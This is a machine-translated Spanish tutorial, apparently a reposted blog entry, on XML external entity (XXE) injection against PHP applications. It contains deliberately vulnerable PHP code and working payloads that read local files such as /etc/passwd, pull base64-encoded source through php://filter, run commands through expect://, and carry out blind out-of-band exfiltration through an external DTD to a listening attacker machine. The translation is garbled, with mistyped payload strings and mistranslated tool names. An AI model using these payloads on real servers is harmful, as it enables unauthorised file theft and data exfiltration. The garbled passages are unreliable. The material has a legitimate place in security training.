Día 18 xxe Entidad Externa

En pocas palabras, XXE (inyección de entidad externa XML) es inyección de entidad externa XML.
Cuando se permite hacer referencia a entidades externas, mediante la construcción de contenido malicioso, puede provocar daños como la lectura arbitraria de archivos, la ejecución de comandos del sistema, la detección de puertos de intranet y ataques a sitios web de intranet.
Por ejemplo, si su programa actual es PHP, puede establecer libxml_disable_entity_loader en TRUE para deshabilitar entidades externas con fines defensivos.

Primero, conceptos básicos de xml

XML es un lenguaje de marcado que se utiliza para marcar documentos electrónicos para estructurarlos, y se puede utilizar para marcar datos y definir tipos de datos.Es un lenguaje de origen que permite a los usuarios definir su propio lenguaje de marcado.

La estructura del documento XML incluye la declaración XML, la definición del tipo de documento DTD (opcional) y los elementos del documento.
inserte la descripción de la imagen aquí
inserte la descripción de la imagen aquí
inserte la descripción de la imagen aquí

DTD (
Definición de tipo de documento) La función de DTD (Definición de tipo de documento) es definir los componentes básicos legales de los documentos XML. Los DTD se pueden declarar dentro de un documento XML o hacer referencia externamente.

Declaraciones internas:
1
Declaraciones externas (referidas a DTD externas):
1 Entidades DTD Las
entidades
DTD son variables que se utilizan para definir accesos directos para hacer referencia a texto normal o caracteres especiales, y pueden declararse referenciadas interna o externamente.

Declaración de entidad interna: <!ENTITY Nombre de entidad "Valor de entidad">
1
Declaración de entidad externa: <!ENTITY Nombre de entidad SYSTEM "URI">
1

2. Principio de vulnerabilidad

El análisis de archivos XML se basa en la biblioteca libxml, y las versiones anteriores a libxml2.9 admitían y habilitaban la referencia de entidades externas de forma predeterminada. La URL admite protocolos como file:// y php://, y un atacante puede declarar el URI en el archivo xml para apuntar a una entidad local en el servidor para provocar un ataque.

En tercer lugar, el método de ataque
inyección de entidad externa xml, necesita introducir entidades externas, hay muchas maneras. Aquí usamos php_xxe en el entorno de vulnerabilidad vuln para demostración:
Entorno de ejecución:
php 7.0.30
libxml 2.8.0
1. Leer archivos arbitrarios
(1) Usar el protocolo de archivo

<?php
// 漏洞代码
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
echo $creds;

carga útil:

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE xxe[
<!ELEMENT name ANY>
<!ENTITY xxe SYSTEM "file:///tc/passwd">]>
<root>
<name>&xxe;</name>
</root>

Ejecute SimpleXmlElement.php (en este php, use la clase SimpleXmlElement para analizar el cuerpo)
para inyectar usando la interceptación de eructos, la respuesta es la siguiente:
inserte la descripción de la imagen aquí

(2) Use la carga útil del protocolo php
:

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE xxe[
<!ELEMENT name ANY>
<!ENTITY xxe SYSTEM "php://filter/read=conver.base64-encode/resouce=index.php">]>
<root>
<name>&xxe;</name>
</root>

Ejecute SimpleXmlElement.php, use la intercepción de eructos para la inyección y obtenga la codificación base64 del contenido de la página index.php. La respuesta es la siguiente:
inserte la descripción de la imagen aquí
inserte la descripción de la imagen aquí
inserte la descripción de la imagen aquí

2. Ejecutar comandos del sistema
En un entorno de configuración especial, como el módulo expect de PHP en el entorno PHP, si el módulo expect de PHP se carga en un sistema vulnerable o en una aplicación que puede procesar XML, se pueden ejecutar comandos.

carga útil:

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE xxe[
<!ELEMENT name ANY>
<!ENTITY xxe SYSTEM "expect://whoami">]>
<root>
<name>&xxe;</name>
</root>

Sin la extensión expect instalada en este entorno, no demostraremos esto.

¿Cómo usarlo cuando hay una vulnerabilidad de no retorno en xxe?

inserte la descripción de la imagen aquí
Construya un paquete de solicitud y envíelo al servidor
1. El paquete de solicitud le indica al servidor que lea
el contenido de un archivo específico
2. Deje que el servidor reenvíe el contenido leído al
vps que escucha (kali linux)
3 El servidor hace 2 cosas:
la primera La cosa es leer el contenido de un archivo especifico La
segunda cosa es reenviar el contenido leído al vps (kali

El concepto de xxe sin utilización de eco. El
inserte la descripción de la imagen aquí
primer paso es
monitorear un puerto específico por vps. El
inserte la descripción de la imagen aquí
segundo paso
es reenviar el problema.
inserte la descripción de la imagen aquí

inserte la descripción de la imagen aquí

inserte la descripción de la imagen aquí
Reenvíe el valor de la variable fle a kali linux (vps) correspondiente a
1234 monitoreado bajo 192.168.4.130, que solo es monitoreado por nc-vp12335

inserte la descripción de la imagen aquí
inserte la descripción de la imagen aquí
inserte la descripción de la imagen aquí

inserte la descripción de la imagen aquí
inserte la descripción de la imagen aquí
xxe no echo cómo usar la máxima prioridad

payoal:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
 <!ENTITY goodies SYSTEM "php://filter/convert.base64-encode/resource=C:/phpStudy/WWW/yui/bihuo.txt"> ]>
<creds>&goodies;</creds>

 <?xml version="1.0"?>
<!DOCTYPE ANY [
 <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/Windows/win.ini">
<!ENTITY % dtd SYSTEM "http://www.localhost.com/haha/xxe.dtd">
%dtd;
%send;
]>

Enlace del artículo de referencia: https://blog.csdn.net/m0_37711941/article/details/88388097

Supongo que te gusta

Origin blog.csdn.net/qq_42096378/article/details/123724368
Recomendado
Clasificación